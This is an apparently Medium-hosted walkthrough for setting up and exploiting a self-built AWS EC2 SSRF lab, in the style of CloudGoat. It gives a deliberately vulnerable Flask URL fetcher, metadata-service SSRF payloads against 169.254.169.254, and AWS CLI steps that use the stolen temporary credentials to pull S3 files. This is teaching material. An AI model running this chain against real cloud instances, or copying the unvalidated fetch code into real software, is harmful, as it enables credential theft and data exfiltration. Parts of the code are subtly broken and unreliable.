June 11, 2026
AWS CloudGoat EC2_SSRF Lab Walkthrough: Step-by-Step Manual Configuration and Exploitation
Overview:
vikash saw
6 min read
EC2 SSRF (Server-Side Request Forgery) is a cloud security vulnerability where an attacker tricks an application running on an Amazon EC2 instance into sending unauthorized requests on behalf of the server. In AWS environments, SSRF becomes critical because EC2 instances can access the Instance Metadata Service (IMDS), which stores temporary credentials, IAM role information, and configuration data. If an application accepts user-controlled URLs without proper validation, an attacker may force the server to request internal resources such as http://169.254.169.254/latest/meta-data/. Successful exploitation can expose AWS access tokens and allow privilege escalation, data theft, or lateral movement within the cloud environment. EC2 SSRF attacks often occur in web applications, proxy services, or APIs that fetch remote content. Mitigation strategies include enabling IMDSv2, restricting outbound requests, validating user input, implementing network segmentation, and applying least-privilege IAM policies to reduce the impact of compromised credentials.
Table of Contents:
- 1 public EC2 instance (vulnerable web app)
- 1 IAM role attached to EC2 (with permissions to "steal" via metadata)
- A simple SSRF vulnerable web app (Python Flask)
- AWS IMDS enabled (default)
- A "flag" stored in S3
Attack chain simulation:
SSRF → 169.254.169.254 → IAM credentials → AWS API → secret/flag
Setting up Lab Environment:
Step 1: Create an IAM Role for an EC2 Instance
Navigate to the AWS Management Console → IAM → Roles → Create role. Attach the required permissions, provide a role name, and click Create role.
Trusted entity
- AWS service
- EC2
Select AWS service as the trusted entity and EC2 as the use case, then click Next.
Attach the required permissions, provide a role name, and click Create role.
STEP 2: Attach permission to the created IAM Role.
Navigate to the AWS Management Console → IAM → Policies → Create policy. Then, attach the newly created policy to the IAM role created in Step 1.
Select the JSON tab, paste the required custom policy JSON, review the policy, provide a policy name, and click Create policy.
{
"Version": "2012–10–17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:ListBucket", "s3:GetObject"],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": ["ssm:GetParameter"],
"Resource": "*"
}]}
Then, attach the newly created policy to the IAM role created in Step 1.
STEP 3: Launch EC2 instance (Vulnerable Server)
Navigate to the AWS Management Console → EC2 → Launch Instance.
Enter ssrf-lab-server as the instance name, select Ubuntu Server 22.04 LTS as the AMI, and choose t3.micro as the instance type (Free Tier eligible).
Under Key pair (login), either select an existing SSH key pair or create a new one. If creating a new key pair, provide a name, choose the key pair type and file format, download the private key (.pem) file, and store it securely, as it will be required to connect to the EC2 instance via SSH.
In the Network settings section, enable Auto-assign Public IP. Create or select a security group that allows SSH (Port 22) access only from your public IP address and HTTP (Port 80) access from 0.0.0.0/0 to allow web traffic from any source.
Under Advanced details, locate the IAM instance profile setting and select SSRF-Lab. This attaches the IAM role to the EC2 instance, allowing it to access AWS services based on the permissions assigned to the role.
STEP 4: Install vulnerable SSRF App
After the instance is launched, connect to it via SSH using the downloaded key pair. Open a terminal and run:
ssh -i key.pem ubuntu@
example:
ssh -i ssrf_key.pem ubuntu@3.85.28.128
Install Dependencies:
sudo apt update
sudo apt install python3-pip -y
sudo apt install python3.12-venv
python3 -m venv venv
STEP 5: Create SSRF vulnerable App
nano app.py
Paste below code (as shown in the image):
from flask import Flask, request
import requests
app = Flask(name)
@app.route("/")
def index():
return '''
URL Fetcher
URL:
'''
@app.route("/fetch")
def fetch():
url = request.args.get("url")
r = requests.get(url)
return r.text
if name == "main":
app.run(host="0.0.0.0", port=80)
Start the SSRF application by executing:
sudo python3 app.py
Once the server is running, the application will be accessible in the browser using the EC2 public IP address.
Open:
http://:5000/
For example:
STEP 6: Add AWS "flag" target
Create S3 bucket
Go to S3 → Create bucket:
Choose any random name of the bucket, i.e, cgbreachlab, and upload a file names with flag.txt or secret.txt with any random secret content like secret key and access key.
STEP 7: Ensure IMDS is enabled, this makes metadata reachable via SSRF.
EC2 → Instance → Modify metadata options:
Set:
- IMDS = enabled
- Hop limit = 1 (important for realism)
Exploitation:
path:
- A vulnerable web app allows SSRF
- SSRF lets you query the EC2 metadata service
- Metadata service returns temporary IAM credentials
- You configure AWS CLI with those credentials
- You use them to access restricted resources (usually S3)
STEP 1: Identify the SSRF entry point
Typical pattern in this lab:
- A parameter like ?url= or similar
- The app fetches URLs server-side
Example idea:
http://?url=http://example.com
STEP 2: Access EC2 Metadata Service
Inside AWS, every EC2 instance has:
http://169.254.169.254/latest/meta-data/
Try injecting that into the vulnerable parameter:
http://?url=http://169.254.169.254/latest/meta-data/
You should get a list of metadata paths.
Here the information it discloses the instance ID, hostname, local IP address, security groups, availability zone, network configuration, and IAM role details.
STEP 3: Find IAM Role Name
Requesting http://169.254.169.254/latest/meta-data/iam/security-credentials/ through the URL field revealing the name of the IAM role attached to the EC2 instance. The response itself does not usually contain credentials; instead, it returns a role name such as WebServerRole or EC2S3AccessRole.
Here the role it is revealing is ssrf which belongs to EC2 instance.
STEP 4: Extract Credentials
Now query:
http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role
You'll get JSON like:
{
"AccessKeyId": "…",
"SecretAccessKey": "…",
"Token": "…",
"Expiration": "…"
}
These are temporary AWS credentials.
The response typically contains a JSON document with fields such as AccessId, SecretAccesskey, Token and Expiration, which together form temporary AWS credentials for the role.
STEP 5: Configure AWS CLI
Now plug those into your AWS CLI, with following commands
export AWS_ACCESS_KEY_ID=…
export AWS_SECRET_ACCESS_KEY=…
export AWS_SESSION_TOKEN=…
STEP 6: Verify Access
Test with following commands:
aws sts get-caller-identity
If it works → you've successfully assumed the EC2 role.
STEP 7: Enumerate Permissions
type below commands to check for S3:
Inspect list of buckets:
aws s3 ls
Inspect for particular bucket
aws s3 ls s3://
Download files inside bucket with dot(.)
aws s3 cp s3:/// .
STEP 8: Capture the Flag
CloudGoat labs usually store the flag in:
- an S3 bucket
- or a specific file
Search for anything like:
flag.txt
secret.txt
View the content of secret file
cat secret.txt